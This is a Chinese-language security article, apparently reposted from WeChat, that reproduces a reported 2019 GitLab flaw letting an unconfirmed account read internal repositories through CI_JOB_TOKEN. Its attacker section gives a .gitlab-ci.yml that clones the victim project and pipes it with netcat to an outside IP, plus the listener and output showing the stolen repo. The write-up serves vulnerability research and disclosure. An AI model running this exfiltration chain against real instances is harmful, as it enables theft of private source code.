-
背景
-
复现步骤
-
poc视频
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
u3mur4于2019年9月提交了这个漏洞:
攻击者可以创建一个帐户(白名单域名注册),设置了在注册时发送确认邮件,但肯定无法登录,因为他不拥有该电子邮件地址,因此无法访问确认邮件;
但仍然可以创建私有存储库,而无需登录并触发管道运行。编写一个.gitlab-ci
脚本。在$CI_JOB_TOKEN
环境变量的帮助下,攻击者可以访问内部存储库。
CI_JOB_TOKEN:
为每个作业生成惟一的作业令牌,并为用户提供对创建该作业的用户通常可以访问的所有项目的读访问权。唯一的作业令牌没有任何写权限,但有人建议添加支持。
复现步骤
设置Admin:
1.以Admin用户登录到GitLab实例
2.跳转至Admin Area => Settings => General => Sign-up restrictions
3.启用“在注册时发送确认电子邮件”复选框,并将注册文本区域的白名单域设置为example.com
4.点击保存更改按钮
victim设置:
1.以victim用户登录到GitLab实例
2.创建一个新项目,并将其名称设置为“internal-project”,将可见性设置为“internal”,并使用README复选框检查Initialize存储库
attacker设置:
1.转到GitLab实例并以攻击者的身份注册(攻击者需要知道/猜测到白名单域名。);
2.创建一个git仓库
$ mkdir /tmp/test && cd /tmp/test
$ git init
$ echo "Hi" > README.md
$ git add README.md
$ git commit -m "Add readme"
3.创建一个.
文件,我们试图克隆受害者/内部项目存储库并上传到攻击者服务器。
$ cat .gitlab-ci.yml
stages:
- test
test:
stage: test
variables:
GITLAB_INSTANCE: "yoyo.pw:3000"
script:
- 'git clone http://gitlab-ci-token:$CI_JOB_TOKEN@$GITLAB_INSTANCE/victim/internal-project.git'
- 'apt update && aptinstall -y netcat'
- 'tar cf - internal-project | nc 78.141.212.31 6000'
攻击者需要知道/猜测内部项目路径。
添加.gitlab-ci.Yml
文件到存储库,并将原始url设置为attack/test
$ git add .gitlab-ci.yml
$ git commit -m "addgitlab ci"
$ git remote add origin http://yoyo.pw:3000/attacker/test.git
Push到项目并启动攻击者服务器
$ git push origin master
$ mkdir /tmp/intprj && cd /tmp/intprj && netcat -l -p 6000 |tar -xvf -
internal-project/
internal-project/README.md
internal-project/.git/
internal-project/.git/logs/
internal-project/.git/logs/refs/
internal-project/.git/logs/refs/remotes/
internal-project/.git/logs/refs/remotes/origin/
internal-project/.git/logs/refs/remotes/origin/HEAD
....
攻击者成功访问了完整的git repo.
poc视频
链接: https://pan.baidu.com/s/18xunDGx2G4fH7CQSKF_-mA 密码: 7p15
原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-用户越权访问内部项目
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论